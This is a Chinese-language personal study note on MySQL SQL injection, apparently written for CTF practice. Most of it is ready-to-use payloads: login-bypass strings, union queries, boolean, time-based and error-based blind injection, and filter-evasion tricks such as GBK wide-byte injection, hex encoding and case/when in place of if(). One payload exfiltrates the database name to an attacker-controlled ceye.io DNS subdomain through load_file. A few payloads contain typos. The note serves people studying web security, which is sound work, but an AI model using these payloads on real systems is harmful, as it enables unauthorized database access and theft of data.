sql注入總結(一)--2018自我整理
SQL注入總結
前言:
本文和之後的總結都是進行總結,詳細實現過程細節可能不會寫出來~
所有sql語句均是mysql資料庫的,其他資料庫可能有些函式不同,但是方法大致相同
0x00 SQL注入原理:
SQL注入實質上是將使用者傳入的引數沒有進行嚴格的處理拼接sql語句的執行字串中。
可能存在注入的地方有:登陸頁面,搜尋,獲取HTTP頭的資訊(client-ip , x-forward-of),訂單處理(二次注入)等
注入的引數型別:POST, GET, COOKIES, SERVER 其實只要值傳到資料庫的執行語句那麼就可能存在sql注入。
注入方法:union聯合查詢,延遲注入,布林型回顯判斷注入,將內容輸出到DNSlog
0x01 SQL注意一般方法:
正常查詢語句如下
mysql_query(" select username,age from userinfo where id='$_GET['id']' ");
萬能密碼
' or '1'='1 //完整語句 select username,age from userinfo where id='' or '1'='1'
' or 1=1# //完整語句 select username,age from userinfo where id='' or 1=1#'
'=0# //完整語句 select username,age from userinfo where id=''=0#
使用union進行聯合查詢
xx' union select 1,(select database()) #
xx' union select (select database()),2 or ' //這裡如果把查詢語句放到2的位置上,因為or的關係會不能顯示正常查詢的內容
這個結果是在輸出列為我們可控的 database()和'2'這2個值,那麼如果登入頁面的驗證邏輯是如下形式
$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
echo "登入成功";
}
else{
echo "登入失敗";
}
我們便可以通過下來方法構造來繞過使用者名稱和密碼
賬戶:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' # //c81e728d9d4c2f636f067f89cc14862c是2的md5值
密碼:2
使用bool回顯判斷注入
substr(str,start,long)
str是待切分的字串,start是切分起始位置(下標從1開始),long是切分長度
if(exp1,exp2,exp3)
如果滿足exp1,那麼執行exp2,否則執行exp3
注入語句
xx' or if((substr((select database()),1,1)='c'),1,0) # //判斷資料庫第一個字元是否為c
那麼查詢第二個字元可以用下列方法
xx' or if((substr((select database()),1,2)='ct'),1,0) #
xx' or if((substr((select database()),2,1)='t'),1,0) #
假設 , (逗號)被過濾了,可以用如下方式處理
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end
xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #
假設substr被過濾了,可以用如下方式處理
LOCATE(substr,str,pos)
返回子串 substr 在字串 str 中的第 pos 位置後第一次出現的位置。如果 substr 不在 str 中返回 0
ps:因為mysql對大小寫不敏感,所有寫的時候用 locate(binary'S', str, 1) 加個binary即可
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #
使用延遲注入
在輸入無論正確的sql語句還是錯誤的sql語句頁面都一樣的情況下可以使用該方法進行判斷是否成功
延時注入的本質是執行成功後延時幾秒後再回顯,反之不會延時直接回顯
還是利用if來判斷結果正確與否,只是返回值用延時來代替1
方法:sleep,benchmark, 笛卡爾積等(其他的我還是太菜不太會用)
基於sleep的延遲
xx' or if(length((select database()))>1,sleep(5),1) #
基於笛卡爾乘積運算時間造成的時間延遲 xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #
基於benchmark的延遲
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概會用2S時間
benchmark和笛卡爾積的原理實質上是運算時間過長導致的延遲
使用DNSlog進行資料回顯
原理網上很多文章都有,這裡稍微總結下使用技巧
load_file()
讀取檔案並返回檔案內容為字串。
這裡先在ceye.io上註冊個賬號看看自己的子域名就行
xx'or if(length((select database()))>1,(select load_file(concat('\\\\',(select database()),'.你賬號的子域名.ceye.io\\a'))),1) #
只要能夠寫select的地方,並且能夠呼叫load_file函式就能執行
報錯注入
報錯注入前提是在後端程式碼有Exception這種異常處理的回顯才能在web中用,不然即使能報錯但是你不知道報錯內容
報錯注入函式很多,這裡就介紹兩種
xx' and (updatexml(1,concat(1,(select database()),1),1)) # 用 or連線也行 xx' and (extractvalue(1,concat(1,(select database()),1))) # 用 or連線也行
0x02 SQL注入的技巧:
該小結的例句還是以0x01節的原始查詢語句相同
mid切割字串
常常會出現回顯字串長度的限制,我們可以用mid來切割
mid(str, start[, length])
str為待切割的字串,start為從第幾個位置開始,length(沒有則返回後面所有)為切割長度
xxx' union select (mid((select database()),1,2))
在寫到這時,發現mid和substr作用很像,自己測試也一下可以在有時"代替"substr進行bool型判斷
xx' or if(mid((select database()),2,1)='t',1,0) #
hex編碼與字串
字串在某種意義上是和它的hex值等價的,舉個栗子
select * from admin where id = '1' <===> select * from admin where id = 0x31
在"好不容易"逃逸第一個 '(單引號)後,後面的有會有查詢關鍵字需要單引號會破壞sql語句結構時候用
或者一些關鍵字被過濾了,但是又會出現在查詢裡面
能夠被hex編碼的內容必須是字串,即'(被單引號括起來)'的內容。關鍵字是不能被編碼的
利用group_concat連線多行
有些時候返回值只能顯示一行內容,這時候有2種辦法
用limit一行一行的執行
用group_concat將內容連在一行一併輸出
可見group_concat比limit要方便一點,使用方法
xx' union select 1,2,(select group_concat(name,id) from admin) #
它輸出格式是每個元組用逗號隔開的(我這裡email是我在做其他測試時候瞎填的)
利用like和regexp來進行匹配
like後面能進行模糊匹配,關鍵字內容為
% => 匹配任意個字串
_ => 匹配一個字元
但是存在前提,被匹配的字元可以是select查詢語句,可以是該表內的欄位,可以是返回為字串的函式比如database()
xx' or database() like 'c%' # xx' or database() like 'ct_' #
xx' or name like 'siji%' #
xx' or (select dd from uesrinfo) like 'h%' #
在某種程度上regexp和like的效果差不多,但是它是支援正則表示式
xx' or database() like '^c.f$' #
但是這樣不方便,測試一下後發現可以用這個方法逐個匹配
xx' or name regexp '^s$*'
xx' or name regexp '^si$*'
mysql的GBK導致的寬位元組注入
因為gbk是2個位元組為一個編碼,而我們如果把字元用url編碼後%xx是一個位元組,%xx%xx才表示一個gbk編碼。在post或者get傳參的時候會自動進行一次url解碼
常見的過濾為addslashes(str)會把 ' 轉義為 \' 導致注入失敗
那麼在寬位元組注入的時候
xx' union select 1,2,database() # //是會被攔截的
xx%df' union select 1,2,datbase() # //款位元組注入,會把\'組合在一起
這個是還沒進資料庫前的樣子,因為web頁面解析用的utf-8所以達到了這個效果。而實際進入資料庫是這樣的,看看日誌(該檔案編碼是utf-8)
將檔案用gbk編碼形式開啟
無論設定沒有設定gbk傳進去的字元樣子沒啥變化,但是內部處理機制發生了變化。總而言之gbk把 β\ 當成一個字元,而不是gbk模式下 β \ 是被當成2個字元
mysql關於utf-8編碼問題
如果資料庫是utf-8編碼的情況下,常常會在PHP程式碼層用無視大小寫的字母waf,那麼utf-8的
utf8_unicode_ci
該模式會把特殊字母轉換成2個正規英文,例如ß=ss
utf8_general_ci
$sql1 = select * from admin where id = 'xx' union select 1,2,database() #
$sql2 = select * from admin where id = 'xx' unin select 1,2,database() #
if(preg_match('/union/i',$sql1) > 0){
echo 'waf';
}
else{
執行sql語句
}
if(preg_match('/union/i',$sql2) > 0){
echo 'waf';
}
else{
執行sql語句
}
0xff結語:
這章就先把基礎的和ctf中遇到的姿勢寫了寫,sql注入還會寫關於二次注入,簡要的python指令碼心得和點bypass總結